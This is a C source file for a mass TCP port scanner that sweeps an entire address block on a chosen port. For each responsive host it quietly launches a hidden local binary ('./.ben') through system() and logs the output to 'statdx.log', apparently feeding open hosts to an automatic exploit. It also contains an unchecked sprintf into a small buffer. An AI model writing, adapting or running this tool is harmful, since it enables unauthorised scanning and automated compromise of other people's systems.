/*
   -Volatile was here.
   nohup ./pscan a.b 1 %
   nohup ./pscan a.b 1 &
*/

#include <stdio.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define MAX_SOCKETS 150
#define TIMEOUT 3

#define S_NONE       0
#define S_CONNECTING 1

struct conn_t {
  int s;
  char status;
  time_t a;
  struct sockaddr_in addr;
};
struct conn_t connlist[MAX_SOCKETS];

void init_sockets(void);
void check_sockets(void);
void cheq_ftp(char *);
void fatal(char *);

int main(int argc, char *argv[])
{
  int done, i, cip, bb, ret, k, ns;
  time_t scantime;
  char ip[20];

  if (argc < 3) {
     printf("Usage: %s <b-block> <port> [c-block]\n", argv[0]);
     return -1;
  }

  done = 0; cip = 1; bb = 0;

  if (argc >= 4) {
     bb = atoi(argv[3]);
     if ((bb < 0) || (bb > 255))
        fatal("Invalid b-range.\n");
  }

  init_sockets();

  scantime = time(0);

  while(!done) {
    for (i = 0; i < MAX_SOCKETS; i++) {
        if (cip == 255) {           
           if ((bb == 255) || (argc >= 4)) {
              ns = 0;
              for (k = 0; k < MAX_SOCKETS; k++) {               
                  if (connlist[k].status > S_NONE) {
                     ns++;
                     break;
                  }
              }

              if (ns == 0)
                 done = 1;

              break;
           }
           else {
             cip = 0;
             bb++;
           }
        }

        if (connlist[i].status == S_NONE) {
           connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
           if (connlist[i].s == -1)
              printf("Unable to allocate socket.\n");
           else {
             ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
             if (ret == -1) {
                printf("Unable to set O_NONBLOCK\n");
                close(connlist[i].s);
             }
             else {
               memset((char *)ip, 0, 20);
               sprintf(ip, "%s.%d.%d", argv[1], bb, cip);
               connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
               if (connlist[i].addr.sin_addr.s_addr == -1)
                 fatal("Invalid IP.");
               connlist[i].addr.sin_family = AF_INET;
               connlist[i].addr.sin_port = htons(atoi(argv[2]));
               connlist[i].a = time(0);
               connlist[i].status = S_CONNECTING;
               cip++;
             }
           }
        }
    }

    check_sockets();
  }

  printf("\nScan completed in %u seconds.\n", (time(0) - scantime));
}

void init_sockets(void)
{
  int i;

  for (i = 0; i < MAX_SOCKETS; i++) {
      connlist[i].status = S_NONE;
      memset((struct sockaddr_in *)&connlist[i].addr, 0, 
             sizeof(struct sockaddr_in));
  }
}

void check_sockets(void)
{
  int i, ret;

  for (i = 0; i < MAX_SOCKETS; i++) {
      if ((connlist[i].a < (time(0) - TIMEOUT)) &&
          (connlist[i].status == S_CONNECTING)) {
         close(connlist[i].s);
         connlist[i].status = S_NONE;
      }

      else if (connlist[i].status == S_CONNECTING) {
         ret = connect(connlist[i].s,
                       (struct sockaddr *)&connlist[i].addr,
                       sizeof(struct sockaddr_in));
         if (ret == -1) {
            if (errno == EISCONN) {
               printf("%15s - %2u second(s)\n",
                      (char *)inet_ntoa(connlist[i].addr.sin_addr),
                      (time(0)-connlist[i].a));
               cheq_ftp((char *)inet_ntoa(connlist[i].addr.sin_addr));
	       close(connlist[i].s);
               connlist[i].status = S_NONE;
            }

            if ((errno != EALREADY) && (errno != EINPROGRESS)) {
               close(connlist[i].s);
               connlist[i].status = S_NONE;
            }
         }
         else {
           printf("%15s - %2u second(s)\n",
                  (char *)inet_ntoa(connlist[i].addr.sin_addr),
                  (time(0)-connlist[i].a));
	cheq_ftp((char *)inet_ntoa(connlist[i].addr.sin_addr));
           close(connlist[i].s);
           connlist[i].status = S_NONE;
         }
      }
  }
}

void fatal(char *err)
{
  int i;
  printf("Error: %s\n", err);
  for (i = 0; i < MAX_SOCKETS; i++) {
      if (connlist[i].status >= S_CONNECTING)
         close(connlist[i].s);
  }
  exit(-1);
}

void cheq_ftp(char *h) {
	char hay[1024];
	snprintf(hay,sizeof(hay),"./.ben %s >> statdx.log &",h);
	system(hay); /* ;) */
}
